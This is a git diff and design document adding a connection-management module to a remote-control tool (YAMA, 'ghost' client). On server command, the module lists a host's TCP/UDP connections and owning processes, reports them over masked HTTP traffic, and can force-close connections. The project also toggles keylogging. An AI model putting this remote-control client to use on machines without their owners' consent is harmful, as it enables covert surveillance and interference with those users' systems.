diff --git a/client/ClientDll_vs2015.vcxproj b/client/ClientDll_vs2015.vcxproj index ebf843e..32fb5ed 100644 --- a/client/ClientDll_vs2015.vcxproj +++ b/client/ClientDll_vs2015.vcxproj @@ -185,6 +185,7 @@ + @@ -233,6 +234,7 @@ + diff --git a/client/ClientDll_vs2015.vcxproj.filters b/client/ClientDll_vs2015.vcxproj.filters index 3256935..373048a 100644 --- a/client/ClientDll_vs2015.vcxproj.filters +++ b/client/ClientDll_vs2015.vcxproj.filters @@ -41,6 +41,7 @@ + @@ -59,6 +60,7 @@ + diff --git a/client/Common.cpp b/client/Common.cpp index 926b1ad..e746dfd 100644 --- a/client/Common.cpp +++ b/client/Common.cpp @@ -11,6 +11,7 @@ #include "AudioManager.h" #include "RegisterManager.h" #include "ServicesManager.h" +#include "ConnectionsManager.h" #include "VideoManager.h" #include "KeyboardManager.h" #include "ProxyManager.h" @@ -139,6 +140,11 @@ DWORD WINAPI LoopServicesManager(LPVOID lParam) return LoopManager(lParam); } +DWORD WINAPI LoopConnectionManager(LPVOID lParam) +{ + return LoopManager(lParam); +} + DWORD WINAPI LoopKeyboardManager(LPVOID lParam) { iniFile cfg(CLIENT_PATH); diff --git a/client/Common.h b/client/Common.h index 12ddd66..5de2f23 100644 --- a/client/Common.h +++ b/client/Common.h @@ -34,6 +34,7 @@ DWORD WINAPI LoopVideoManager(LPVOID lParam); DWORD WINAPI LoopAudioManager(LPVOID lParam); DWORD WINAPI LoopRegisterManager(LPVOID lParam); DWORD WINAPI LoopServicesManager(LPVOID lParam); +DWORD WINAPI LoopConnectionManager(LPVOID lParam); DWORD WINAPI LoopKeyboardManager(LPVOID lParam); DWORD WINAPI LoopProxyManager(LPVOID lParam); DWORD WINAPI LoopClientLogManager(LPVOID lParam); diff --git a/client/ConnectionsManager.cpp b/client/ConnectionsManager.cpp new file mode 100644 index 0000000..1434c92 --- /dev/null +++ b/client/ConnectionsManager.cpp @@ -0,0 +1,239 @@ +// ConnectionsManager.cpp: implementation of the CConnectionsManager class. +// +////////////////////////////////////////////////////////////////////// + +#include "stdafx.h" +#include "ConnectionsManager.h" +#include "Common.h" +#include +#include +#include +#include +#include +#include + +#pragma comment(lib, "iphlpapi.lib") + +#if ENABLE_CONNECTION_MNG + +////////////////////////////////////////////////////////////////////// +// Construction/Destruction +////////////////////////////////////////////////////////////////////// + +CConnectionsManager::CConnectionsManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject) +{ + SendConnectionList(); +} + +CConnectionsManager::~CConnectionsManager() +{ +} + +// 把 PID 解析成进程映像名(UTF-8)。进程可能已退出/受保护,失败时填 。 +static void ResolveProcName(DWORD pid, char* out, int outLen) +{ + if (outLen <= 0) return; + out[0] = 0; + if (pid == 0) { + strcpy_s(out, outLen, "System Idle Process"); + return; + } + HANDLE h = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid); + if (h == NULL) { + strcpy_s(out, outLen, ""); + return; + } + wchar_t wpath[MAX_PATH] = { 0 }; + DWORD len = MAX_PATH; + BOOL ok = QueryFullProcessImageNameW(h, 0, wpath, &len); + CloseHandle(h); + if (!ok) { + strcpy_s(out, outLen, ""); + return; + } + wchar_t* base = wcsrchr(wpath, L'\\'); + base = base ? base + 1 : wpath; + if (WideCharToMultiByte(CP_UTF8, 0, base, -1, out, outLen, NULL, NULL) <= 0) { + strcpy_s(out, outLen, ""); + return; + } + out[outLen - 1] = 0; +} + +// IPv4 地址:iphlpapi 的 dwLocalAddr/dwRemoteAddr 是网络序 DWORD(值 0xC0A80101 即 192.168.1.1), +// 转成 16 字节字段前 4 字节的网络序字节后 inet_ntop 可直接展示、断连时再拼回 DWORD。 +static void PutAddr4(uint8_t* out, DWORD addrNet) +{ + out[0] = (uint8_t)(addrNet >> 24); + out[1] = (uint8_t)(addrNet >> 16); + out[2] = (uint8_t)(addrNet >> 8); + out[3] = (uint8_t)(addrNet); +} + +static DWORD GetAddr4(const uint8_t* addr) +{ + return ((DWORD)addr[0] << 24) | ((DWORD)addr[1] << 16) | ((DWORD)addr[2] << 8) | (DWORD)addr[3]; +} + +static void AppendTcp4(std::vector& rows) +{ + PMIB_TCPTABLE_OWNER_PID pTable = NULL; + DWORD dwSize = 0; + if (GetExtendedTcpTable(pTable, &dwSize, FALSE, AF_INET, TCP_TABLE_OWNER_PID_ALL, 0) != ERROR_INSUFFICIENT_BUFFER) + return; + pTable = (PMIB_TCPTABLE_OWNER_PID)malloc(dwSize); + if (pTable == NULL) return; + if (GetExtendedTcpTable(pTable, &dwSize, FALSE, AF_INET, TCP_TABLE_OWNER_PID_ALL, 0) == NO_ERROR) { + for (DWORD i = 0; i < pTable->dwNumEntries; ++i) { + const MIB_TCPROW_OWNER_PID& r = pTable->table[i]; + ConnectionInfo info = { 0 }; + info.proto = 1; + info.af = AF_INET; + info.pid = r.dwOwningPid; + PutAddr4(info.localAddr, r.dwLocalAddr); // 网络序 DWORD → 网络序字节 + info.localPort = ntohs((uint16_t)r.dwLocalPort); // 端口网络序 → 主机序 + PutAddr4(info.remoteAddr, r.dwRemoteAddr); + info.remotePort = ntohs((uint16_t)r.dwRemotePort); + info.state = r.dwState; + ResolveProcName(info.pid, info.procName, sizeof(info.procName)); + rows.push_back(info); + } + } + free(pTable); +} + +static void AppendTcp6(std::vector& rows) +{ + PMIB_TCP6TABLE_OWNER_PID pTable = NULL; + DWORD dwSize = 0; + if (GetExtendedTcpTable(pTable, &dwSize, FALSE, AF_INET6, TCP_TABLE_OWNER_PID_ALL, 0) != ERROR_INSUFFICIENT_BUFFER) + return; + pTable = (PMIB_TCP6TABLE_OWNER_PID)malloc(dwSize); + if (pTable == NULL) return; + if (GetExtendedTcpTable(pTable, &dwSize, FALSE, AF_INET6, TCP_TABLE_OWNER_PID_ALL, 0) == NO_ERROR) { + for (DWORD i = 0; i < pTable->dwNumEntries; ++i) { + const MIB_TCP6ROW_OWNER_PID& r = pTable->table[i]; + ConnectionInfo info = { 0 }; + info.proto = 1; + info.af = AF_INET6; + info.pid = r.dwOwningPid; + memcpy(info.localAddr, r.ucLocalAddr, 16); + info.localPort = ntohs((uint16_t)r.dwLocalPort); + memcpy(info.remoteAddr, r.ucRemoteAddr, 16); + info.remotePort = ntohs((uint16_t)r.dwRemotePort); + info.state = r.dwState; + ResolveProcName(info.pid, info.procName, sizeof(info.procName)); + rows.push_back(info); + } + } + free(pTable); +} + +static void AppendUdp4(std::vector& rows) +{ + PMIB_UDPTABLE_OWNER_PID pTable = NULL; + DWORD dwSize = 0; + if (GetExtendedUdpTable(pTable, &dwSize, FALSE, AF_INET, UDP_TABLE_OWNER_PID, 0) != ERROR_INSUFFICIENT_BUFFER) + return; + pTable = (PMIB_UDPTABLE_OWNER_PID)malloc(dwSize); + if (pTable == NULL) return; + if (GetExtendedUdpTable(pTable, &dwSize, FALSE, AF_INET, UDP_TABLE_OWNER_PID, 0) == NO_ERROR) { + for (DWORD i = 0; i < pTable->dwNumEntries; ++i) { + const MIB_UDPROW_OWNER_PID& r = pTable->table[i]; + ConnectionInfo info = { 0 }; + info.proto = 2; + info.af = AF_INET; + info.pid = r.dwOwningPid; + PutAddr4(info.localAddr, r.dwLocalAddr); + info.localPort = ntohs((uint16_t)r.dwLocalPort); + info.state = 0; + ResolveProcName(info.pid, info.procName, sizeof(info.procName)); + rows.push_back(info); + } + } + free(pTable); +} + +static void AppendUdp6(std::vector& rows) +{ + PMIB_UDP6TABLE_OWNER_PID pTable = NULL; + DWORD dwSize = 0; + if (GetExtendedUdpTable(pTable, &dwSize, FALSE, AF_INET6, UDP_TABLE_OWNER_PID, 0) != ERROR_INSUFFICIENT_BUFFER) + return; + pTable = (PMIB_UDP6TABLE_OWNER_PID)malloc(dwSize); + if (pTable == NULL) return; + if (GetExtendedUdpTable(pTable, &dwSize, FALSE, AF_INET6, UDP_TABLE_OWNER_PID, 0) == NO_ERROR) { + for (DWORD i = 0; i < pTable->dwNumEntries; ++i) { + const MIB_UDP6ROW_OWNER_PID& r = pTable->table[i]; + ConnectionInfo info = { 0 }; + info.proto = 2; + info.af = AF_INET6; + info.pid = r.dwOwningPid; + memcpy(info.localAddr, r.ucLocalAddr, 16); + info.localPort = ntohs((uint16_t)r.dwLocalPort); + info.state = 0; + ResolveProcName(info.pid, info.procName, sizeof(info.procName)); + rows.push_back(info); + } + } + free(pTable); +} + +VOID CConnectionsManager::SendConnectionList() +{ + std::vector rows; + AppendTcp4(rows); + AppendTcp6(rows); + AppendUdp4(rows); + AppendUdp6(rows); + + size_t count = rows.size(); + if (count > 0xFFFF) count = 0xFFFF; + ULONG bufLen = 1 + 2 + (ULONG)(count * sizeof(ConnectionInfo)); + LPBYTE szBuffer = (LPBYTE)LocalAlloc(LPTR, bufLen); + if (szBuffer == NULL) return; + szBuffer[0] = TOKEN_CONNECTION_LIST; + uint16_t cnt = (uint16_t)count; + memcpy(szBuffer + 1, &cnt, 2); + for (size_t i = 0; i < count; ++i) + memcpy(szBuffer + 3 + i * sizeof(ConnectionInfo), &rows[i], sizeof(ConnectionInfo)); + + HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); + m_ClientObject->Send2Server((char*)szBuffer, bufLen, &mask); + LocalFree(szBuffer); +} + +void CConnectionsManager::KillConnection(const ConnectionInfo& info) +{ + // 仅 IPv4 TCP 有公开 API 可强制断开(SetTcpEntry + DELETE_TCB)。 + if (info.proto != 1 || info.af != AF_INET) return; + + MIB_TCPROW row = { 0 }; + row.dwState = MIB_TCP_STATE_DELETE_TCB; + row.dwLocalAddr = GetAddr4(info.localAddr); // 网络序字节 → 网络序 DWORD + row.dwLocalPort = (DWORD)htons(info.localPort); // 主机序端口 → 网络序 + row.dwRemoteAddr = GetAddr4(info.remoteAddr); + row.dwRemotePort = (DWORD)htons(info.remotePort); + SetTcpEntry(&row); +} + +VOID CConnectionsManager::OnReceive(PBYTE szBuffer, ULONG ulLength) +{ + switch (szBuffer[0]) { + case COMMAND_CONNECTION: // 刷新 + SendConnectionList(); + break; + case COMMAND_KILL_CONNECTION: // 强制断开 + if (ulLength >= 1 + sizeof(ConnectionInfo)) { + ConnectionInfo info; + memcpy(&info, szBuffer + 1, sizeof(ConnectionInfo)); + KillConnection(info); + } + SendConnectionList(); + break; + default: + break; + } +} + +#endif diff --git a/client/ConnectionsManager.h b/client/ConnectionsManager.h new file mode 100644 index 0000000..7e09a08 --- /dev/null +++ b/client/ConnectionsManager.h @@ -0,0 +1,29 @@ +// ConnectionsManager.h: interface for the CConnectionsManager class. +// +////////////////////////////////////////////////////////////////////// + +#if !defined(AFX_CONNECTIONSMANAGER_H__7D1C2E4A_9B30_4F81_A6C0_DE85B2F31C77__INCLUDED_) +#define AFX_CONNECTIONSMANAGER_H__7D1C2E4A_9B30_4F81_A6C0_DE85B2F31C77__INCLUDED_ + +#if _MSC_VER > 1000 +#pragma once +#endif // _MSC_VER > 1000 + +#include "Manager.h" +#if ENABLE_CONNECTION_MNG==0 +#define CConnectionsManager CManager +#else + +class CConnectionsManager : public CManager +{ +public: + CConnectionsManager(IOCPClient* ClientObject, int n, void* user = nullptr); + virtual ~CConnectionsManager(); + VOID SendConnectionList(); + VOID OnReceive(PBYTE szBuffer, ULONG ulLength); + void KillConnection(const ConnectionInfo& info); +}; + +#endif + +#endif // !defined(AFX_CONNECTIONSMANAGER_H__7D1C2E4A_9B30_4F81_A6C0_DE85B2F31C77__INCLUDED_) diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index 93a9822..ba46ec5 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -1356,6 +1356,19 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) break; } + case COMMAND_CONNECTION: { + if (!ENABLE_CONNECTION_MNG) { + return ResponseDisable(m_ClientObject, "CONNECTION", szBuffer + 1, ulLength - 1); + } + { + auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); + sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验 + m_hThread[m_ulThreadCount].p = sub; + } + m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopConnectionManager, &m_hThread[m_ulThreadCount], 0, NULL); + break; + } + case COMMAND_UPDATE: { auto typ = m_conn->ClientType(); if (typ == CLIENT_TYPE_DLL || typ == CLIENT_TYPE_MODULE) { diff --git a/client/ghost_vs2015.vcxproj b/client/ghost_vs2015.vcxproj index c94c427..9741f20 100644 --- a/client/ghost_vs2015.vcxproj +++ b/client/ghost_vs2015.vcxproj @@ -214,6 +214,7 @@ + @@ -269,6 +270,7 @@ + diff --git a/common/commands.h b/common/commands.h index c4785cb..387cc8b 100644 --- a/common/commands.h +++ b/common/commands.h @@ -358,8 +358,31 @@ enum { TOKEN_CLIP_TEXT = 250, TOKEN_SERVER_VERIFY = 251, // 验证服务器,防中间人和假冒的授权服务器 CMD_FILE_SPEED = 252, // 文件传输速度下发: [cmd:1][chunkKb:uint16 LE][durationMs:uint16 LE] + + COMMAND_CONNECTION = 253, // 连接管理(服务端→客户端:查询/刷新连接列表) + COMMAND_KILL_CONNECTION = 254, // 强制断开指定连接(服务端→客户端) + TOKEN_CONNECTION_LIST = 255, // 连接列表响应(客户端→服务端) }; +// 单条连接记录(客户端 → 服务端)。地址字段存网络字节序(IPv4 展开为前 4 字节、IPv6 为 16 字节), +// 端口字段存主机字节序(客户端 ntohs 转换)。断连时反向还原:地址拼回网络序 DWORD、端口 htons 转回 +// 网络序,填回 MIB_TCPROW 调 SetTcpEntry(iphlpapi 的地址/端口均为网络序)。 +#pragma pack(push, 1) +struct ConnectionInfo { + uint8_t proto; // 1=TCP, 2=UDP [1] + uint8_t af; // 2=AF_INET(IPv4), 23=AF_INET6(IPv6) [1] + uint32_t pid; // 所属进程 PID [4] + uint8_t localAddr[16]; // 网络字节序;IPv4 存 [0..3],IPv6 存 [0..15],其余 0 [16] + uint16_t localPort; // 主机字节序(小端) [2] + uint8_t remoteAddr[16]; // 网络字节序,同上 [16] + uint16_t remotePort; // 主机字节序,同上 [2] + uint32_t state; // TCP: MIB_TCP_STATE_*;UDP: 0 [4] + char procName[64]; // 进程映像名 UTF-8,NUL 填充 [64] +}; // 合计 110 +#pragma pack(pop) + +static_assert(sizeof(ConnectionInfo) == 110, "ConnectionInfo must be exactly 110 bytes"); + #pragma pack(push, 1) struct SignatureResp { char msg[64]; diff --git a/common/config.h b/common/config.h index 4f803b6..c2b925e 100644 --- a/common/config.h +++ b/common/config.h @@ -16,6 +16,7 @@ #define ENABLE_AUDIO_MNG TRUE // 语音管理 #define ENABLE_VIDEO_MNG TRUE // 视频管理 #define ENABLE_SERVICE_MNG TRUE // 服务管理 +#define ENABLE_CONNECTION_MNG TRUE // 连接管理 #define ENABLE_REGISTRY TRUE // 注册表管理 #define ENABLE_KEYBOARD TRUE // 键盘记录 diff --git a/docs/ConnectionManage_Design.md b/docs/ConnectionManage_Design.md new file mode 100644 index 0000000..832ba4b --- /dev/null +++ b/docs/ConnectionManage_Design.md @@ -0,0 +1,259 @@ +# TCP/UDP 连接管理设计 + +> 版本:v1.1(已实现并评审) · 状态:**已施工,含字节序修正** · 日期:2026-10-04 +> 目标:在 YAMA 服务端新增「连接管理」,实时展示受管主机当前的 TCP/UDP 连接, +> 并支持对选中的连接强制断开。这是服务管理、进程管理之外又一项「观测 + 管控」类功能。 +> +> 需求原文(三点,逐一对应下文): +> 1. YAMA 工具栏增加一个图标,**唯有 MCP 后面**,通过这个图标打开连接管理对话框; +> 2. 客户端需要增加一个管理类来处理服务端请求; +> 3. 服务端有一个对话框类展示连接信息,支持右键菜单对选中的连接强制断开。 + +## 1. 目标与范围 + +### MVP + +| 项 | 说明 | +|---|---| +| 工具栏入口 | `IDR_TOOLBAR_MAIN` 在 `ID_MCP_SETTINGS` 之后追加 `ID_CONNECTION_MANAGE` 按钮(第 17 个),点击向选中主机发 `COMMAND_CONNECTION` | +| 客户端管理类 | 新增 `CConnectionsManager : public CManager`,枚举本机 TCP/UDP 连接并回传,处理「刷新 / 强制断开」两条服务端命令 | +| 服务端对话框 | 新增 `CConnectionsDlg : public DialogBase`,表格展示连接,右键菜单「强制断开」发 `COMMAND_KILL_CONNECTION` | + +### 非目标(Non-goals,本次不做) + +- 不做 **UDP / IPv6 TCP 的强制断开**(无公开 API,见 §6),仅 IPv4 TCP 可断开,其余行只读展示。 +- 不做「按进程批量断开」「按 PID 过滤」「连接历史/趋势图」。 +- 不做 Linux/Mac/Android 客户端连接枚举(沿用 Windows 客户端先行的惯例)。 +- 不改 MCP 工具集(`list_network_connections` 属于 P8 路线图,本设计只做 MFC 图形界面)。 + +## 2. 复用现状 + +本功能与「服务管理」端到端同构,直接以其为实现模板(`ServicesManager` / `ServicesDlg`)。 + +### 客户端模板(读参考实现,全部已核实) + +- 命令分发:`client/KernelManager.cpp` `OnReceive` 的 `case COMMAND_SERVICES:`(约 1346 行): + ``` + { auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); + sub->EnableSubConnAuth(); + m_hThread[m_ulThreadCount].p = sub; } + m_hThread[m_ulThreadCount++].h = + __CreateThread(NULL,0, LoopServicesManager, &m_hThread[m_ulThreadCount], 0, NULL); + ``` + 连接管理照抄,仅换 `LoopConnectionManager`。 +- 子连接线程模板:`client/Common.cpp:33` `LoopManager`(`Manager m(ClientObject, n, user)` 构造即发首包,随后跑 `RunEventLoop` 分发到 `Manager::OnReceive`);`LoopServicesManager = LoopManager`。 +- 管理类基类:`client/Manager.h` `CManager`(`OnReceive` 虚函数、`m_ClientObject`、`Send/SendData`、子连接生命周期)。 +- 管理类实例:`client/ServicesManager.cpp`——构造即 `SendServicesList()`(17 行);`SendServicesList()` 里用 + `HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer), &mask);`(36–37 行)回传;`OnReceive` 里 `case COMMAND_SERVICELIST`(刷新)→ 重发、`case COMMAND_SERVICECONFIG`(动作)→ 执行后再重发(199–231 行)。 +- 编译开关:`client/ServicesManager.h:13` `#if ENABLE_SERVICE_MNG==0 #define CServicesManager CManager` 的空实现占位模式;开关定义在 `common/config.h`(`ENABLE_SERVICE_MNG TRUE`)。 + +### 服务端模板(读参考实现,全部已核实) + +- 对话框基类:`server/2015Remote/IOCPServer.h:158` `DialogBase`(`OnInitDialog` 建列 + 解析缓冲,`OnReceiveComplete` 按 token 分发,`OnNMRClickList` 右键菜单,`OnClose`→`CancelIO`)。 +- 对话框实例:`server/2015Remote/ServicesDlg.cpp`——构造 `DialogBase(CServicesDlg::IDD, pParent, IOCPServer, ContextObject, IDI_SERVICE)`(24 行);`OnInitDialog` 里 `InsertColumnL` 建列 + `ShowServicesList()`(67–73 行);`OnNMRClickList` 里 `LoadMenu(IDR_MENU_SERVICES)` + `TrackPopupMenu`(216–226 行);`OnReceiveComplete` 里 `case TOKEN_SERVERLIST: ShowServicesList()`(231–235 行)。 +- 打开对话框模板:`server/2015Remote/2015RemoteDlg.h:182` `OpenDialog`。 +- 命令发送:`OnOnlineServerManager()`(`2015RemoteDlg.cpp:4758`):`BYTE bToken = COMMAND_SERVICES; SendSelectedCommand(&bToken, sizeof(BYTE));`。 +- token 路由:`2015RemoteDlg.cpp:6609` `case TOKEN_SERVERLIST:` → `g_2015RemoteDlg->SendMessage(WM_OPENSERVICESDIALOG, 0, (LPARAM)ContextObject);`。 +- 消息注册/处理:`ON_MESSAGE(WM_OPENSERVICESDIALOG, OnOpenServicesDialog)`(903 行)→ `OnOpenServicesDialog`(7811 行)→ `OpenDialog`。 + +### 工具栏(读参考,全部已核实) + +- 资源:`2015Remote.rc:1806` `IDR_TOOLBAR_MAIN TOOLBAR 48, 48`,现有 16 个 `BUTTON`,末尾为 `BUTTON ID_CHANGE_LANG`(1822 行)、`BUTTON ID_MCP_SETTINGS`(1823 行)。 +- 真彩位图条:`IDB_BITMAP_MAIN`(133) → `res\ToolBar_Main.bmp`(**768×48 = 16 个 48×48 图标**,24 位), + `LoadTrueColorToolBar(48, IDB_BITMAP_MAIN, IDB_BITMAP_MAIN, IDB_BITMAP_MAIN)`(`2015RemoteDlg.cpp:1390`) + 按 `nNbBtn = bmWidth/48` 建图像列表(`TrueColorToolBar.cpp` `SetTrueColorToolBar`),因此**新增第 17 个按钮必须同步把位图条加宽为 816×48 并补第 17 个图标**。 +- 按钮文字:`SetButtonText(0..15)`(`2015RemoteDlg.cpp:1405–1420`),`SetButtonText(15, _T("MCP"))` 为当前最后一个。 +- 全隐藏判定:`if (hiddenCount >= 16)`(1471 行)→ **无需改动**。该计数只统计「可隐藏功能按钮」 + (终端/进程/窗口/桌面/文件/语音/视频/服务/注册表/键盘/设置/生成/搜索/关于,共 14 个), + `ID_CHANGE_LANG`、`ID_MCP_SETTINGS` 本就不在隐藏清单内;新增的连接按钮同样不参与隐藏, + `hiddenCount` 语义不变。 +- 命令处理:`ON_COMMAND(ID_MCP_SETTINGS, &CMy2015RemoteDlg::OnMcpSettings)`(993 行)→ 参照加 `ID_CONNECTION_MANAGE`。 + +### 网络 API(客户端,新增依赖) + +- 枚举:`GetExtendedTcpTable(TCP_TABLE_OWNER_PID_ALL, ...)` + `MIB_TCPTABLE_OWNER_PID`; + 同理 `GetExtendedUdpTable(UDP_TABLE_OWNER_PID)`;IPv6 用 `AF_INET6` 版本(`MIB_TCP6TABLE_OWNER_PID` / `MIB_UDP6TABLE_OWNER_PID`)。 +- 断开:`SetTcpEntry` + `MIB_TCP_STATE_DELETE_TCB`(12)。 +- 链接:`iphlpapi.lib`(用 `#pragma comment(lib, "iphlpapi.lib")` 内联,与代码库既有 `#pragma comment(lib, ...)` 风格一致,避免改 vcxproj)。 + +## 3. 协议与数据结构 + +### 3.1 新命令(`common/commands.h`,追加在 `CMD_FILE_SPEED = 252` 之后,均 ≤ 255 满足单字节 token) + +``` +COMMAND_CONNECTION = 253, // 服务端 → 客户端:查询/刷新连接列表(打开连接管理) +COMMAND_KILL_CONNECTION = 254, // 服务端 → 客户端:强制断开指定连接 +TOKEN_CONNECTION_LIST = 255, // 客户端 → 服务端:连接列表响应 +``` + +### 3.2 单条连接记录(客户端 → 服务端,固定 110 字节,小端) + +```c +#pragma pack(push, 1) +struct ConnectionInfo { + uint8_t proto; // 1=TCP, 2=UDP [1] + uint8_t af; // 2=AF_INET(IPv4), 23=AF_INET6(IPv6) [1] + uint32_t pid; // 所属进程 PID [4] + uint8_t localAddr[16]; // 网络字节序;IPv4 存 [0..3],IPv6 存 [0..15],其余 0 [16] + uint16_t localPort; // 主机字节序(小端,ntohs 转换后) [2] + uint8_t remoteAddr[16]; // 网络字节序,同上 [16] + uint16_t remotePort; // 主机字节序,同上 [2] + uint32_t state; // TCP: MIB_TCP_STATE_*;UDP: 0 [4] + char procName[64]; // 进程映像名 UTF-8,NUL 填充 [64] +}; // 合计 110 +#pragma pack(pop) +static_assert(sizeof(ConnectionInfo) == 110, "ConnectionInfo must be 110 bytes"); +``` + +> **字节序约定(评审后修正)**:字段不能「原样 memcpy」iphlpapi 的结构成员。`dwLocalAddr`/`dwRemoteAddr` +> 是**网络序 DWORD**(值 `0xC0A80101` 即 `192.168.1.1`),客户端展开为 16 字节字段前 4 字节的**网络序字节** +> (`[0xC0,0xA8,0x01,0x01]`),服务端 `inet_ntop` 可直接展示、排序键也按数值序;`dwLocalPort`/`dwRemotePort` +> 低 16 位为**网络序**,客户端用 `ntohs` 转**主机序**再存入。断连时反向还原(地址拼回 DWORD、端口 `htons`)。 +> 地址统一 16 字节字段承载,IPv4/IPv6 用同一个结构,避免两套记录。 + +### 3.3 列表响应(客户端 → 服务端) + +``` +[TOKEN_CONNECTION_LIST:1][count:2][ConnectionInfo:110] * count +``` + +- `count` 为 `uint16_t` 小端,上限 65535(枚举超限则截断,实际主机连接数远低于此)。 +- 列表 >1460 字节会走 HTTP 分片;服务端 `HeaderParser::Parse` 的 `m_bShouldUnmask` 分片 bug + 已在 `a72e6eb` 修复,续包可正常到达(与进程/服务列表一致)。 + +### 3.4 强制断开请求(服务端 → 客户端) + +``` +[COMMAND_KILL_CONNECTION:1][ConnectionInfo:110] +``` + +- 客户端校验 `proto==1 && af==2` 才执行(仅 IPv4 TCP),否则忽略并在回包列表中保留该行。 + +## 4. 客户端实现 + +新增 `client/ConnectionsManager.{h,cpp}`,镜像 `CServicesManager`: + +- 类声明(`ConnectionsManager.h`): + ```cpp + #if ENABLE_CONNECTION_MNG==0 + #define CConnectionsManager CManager + #else + class CConnectionsManager : public CManager { + public: + CConnectionsManager(IOCPClient* ClientObject, int n, void* user = nullptr); + virtual ~CConnectionsManager(); + VOID SendConnectionList(); // 枚举并回传 + VOID OnReceive(PBYTE szBuffer, ULONG ulLength); + void KillConnection(const ConnectionInfo& info); + }; + #endif + ``` +- `SendConnectionList()`: + 1. 依次 `GetExtendedTcpTable`(AF_INET / AF_INET6)+ `GetExtendedUdpTable`(AF_INET / AF_INET6), + 汇总到 `std::vector`;IPv4 地址展开为网络序字节(`PutAddr4`)、端口 `ntohs` 转主机序。 + 2. 每个 PID 用 `OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION)` + `GetModuleBaseNameW` 取映像名, + 转 UTF-8 写入 `procName[64]`;失败/PID 0 填 `""`(进程可能已退出,端点仍有效)。 + 3. 组包 `[TOKEN_CONNECTION_LIST:1][count:2][records...]`,用 + `HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); m_ClientObject->Send2Server(...);` 回传。 +- `OnReceive()`: + - `case COMMAND_CONNECTION:` → `SendConnectionList()`(刷新)。 + - `case COMMAND_KILL_CONNECTION:` → 校验长度 ≥ 111,读 `ConnectionInfo`,`KillConnection()`,再 `SendConnectionList()`。 +- `KillConnection()`:仅 `proto==TCP && af==AF_INET`;组 `MIB_TCPROW`(`dwState=MIB_TCP_STATE_DELETE_TCB`), + 地址由网络序字节拼回 DWORD(`GetAddr4`)、端口 `htons` 转回网络序,`SetTcpEntry(&row)`。 +- 编译:`common/config.h` 增 `#define ENABLE_CONNECTION_MNG TRUE`(`// 连接管理`)。 +- 分发(`client/KernelManager.cpp`):在 `case COMMAND_SERVICES:` 后加 + ``` + case COMMAND_CONNECTION: { + if (!ENABLE_CONNECTION_MNG) return ResponseDisable(...); + { auto* sub = new IOCPClient(...); sub->EnableSubConnAuth(); ...; } + m_hThread[m_ulThreadCount++].h = __CreateThread(..., LoopConnectionManager, ...); + break; + } + ``` +- 线程注册(`client/Common.cpp` / `Common.h`):`#define LoopConnectionManager LoopManager`。 + +## 5. 服务端实现 + +新增 `server/2015Remote/ConnectionsDlg.{h,cpp}`,镜像 `CServicesDlg`: + +- `CConnectionsDlg(CWnd*, Server*, CONTEXT_OBJECT*) : DialogBase(IDD_DIALOG_CONNECTIONS, pParent, IOCPServer, ContextObject, IDI_CONNECTION)`。 +- `OnInitDialog`:`InsertColumnL` 建列 `协议 | 本地地址 | 本地端口 | 远端地址 | 远端端口 | 状态 | PID | 进程名`(8 列),调 `ShowConnectionList()`。 +- `ShowConnectionList()`:解析 `m_ContextObject->InDeCompressedBuffer`(`[token:1][count:2][records...]`)填表, + 每条 `SetItemData` 存行内偏移(或直接把 `ConnectionInfo` 存进项关联数据),供右键断连取回记录。 +- `OnReceiveComplete()`:`case TOKEN_CONNECTION_LIST: ShowConnectionList()`。 +- `OnNMRClickList()`:用 `pNMItemActivate->iItem` 取**鼠标右键所在行**(而非仅依赖已选中行), + 由该行 `SetItemData` 里存的 `ConnectionInfo` 拿回记录;`LoadMenu(IDR_MENU_CONNECTIONS)` → + `TrackPopupMenu`;菜单项「强制断开」(`ID_CONNECTION_KILL`)对**仅 IPv4 TCP 行可用**,发 + `[COMMAND_KILL_CONNECTION:1][record:110]`;UDP/IPv6 行禁用该菜单项(`MF_GRAYED`)。 +- 对话框标题栏图标 `IDI_CONNECTION`(`.ico`,`DialogBase` 构造第 5 参)与工具栏位图条第 17 个 + 48×48 图标是两回事:前者复用现有图标(如 `IDI_SERVICE`)或新增一个 `.ico`;后者编辑 + `ToolBar_Main.bmp` 补第 17 格(见下)。 +- 提供刷新(补发 `COMMAND_CONNECTION`)与 `OnClose`→`CancelIO()`。 + +工具栏 / 消息路由(`2015RemoteDlg.{h,cpp}` + `Resource.h` + `.rc`): + +- `Resource.h`:`IDD_DIALOG_CONNECTIONS 404`、`IDR_MENU_CONNECTIONS 405`、`IDI_CONNECTION`(新图标 ID)、 + `ID_CONNECTION_MANAGE 33086`(`_APS_NEXT_COMMAND_VALUE` 现为 33086,用后 +2)、`ID_CONNECTION_KILL`; + 同步上调 `_APS_NEXT_RESOURCE_VALUE`/`_APS_NEXT_COMMAND_VALUE`。 +- `.rc`(UTF-16LE,Node 脚本改):`IDR_TOOLBAR_MAIN` 末尾加 `BUTTON ID_CONNECTION_MANAGE`; + 新增 `IDD_DIALOG_CONNECTIONS` 对话框与 `IDR_MENU_CONNECTIONS` 菜单。 +- `res\ToolBar_Main.bmp`:**加宽为 816×48,补第 17 个 48×48「连接」图标**(实现时用脚本合成一个 + 双节点/插头样式图标插入条尾;图标观感属评审项)。 +- `2015RemoteDlg.cpp`: + - `SetButtonText(16, _TR("连接管理"))`(1420 行后)。 + - `hiddenCount >= 16`(1471 行)**无需改动**(连接按钮不参与隐藏,理由见 §2)。 + - `ON_COMMAND(ID_CONNECTION_MANAGE, &CMy2015RemoteDlg::OnConnectionManage)`(993 行后)。 + - `OnConnectionManage()`:`BYTE bToken = COMMAND_CONNECTION; SendSelectedCommand(&bToken, sizeof(BYTE));`。 + - `MessageHandle` 加 `case 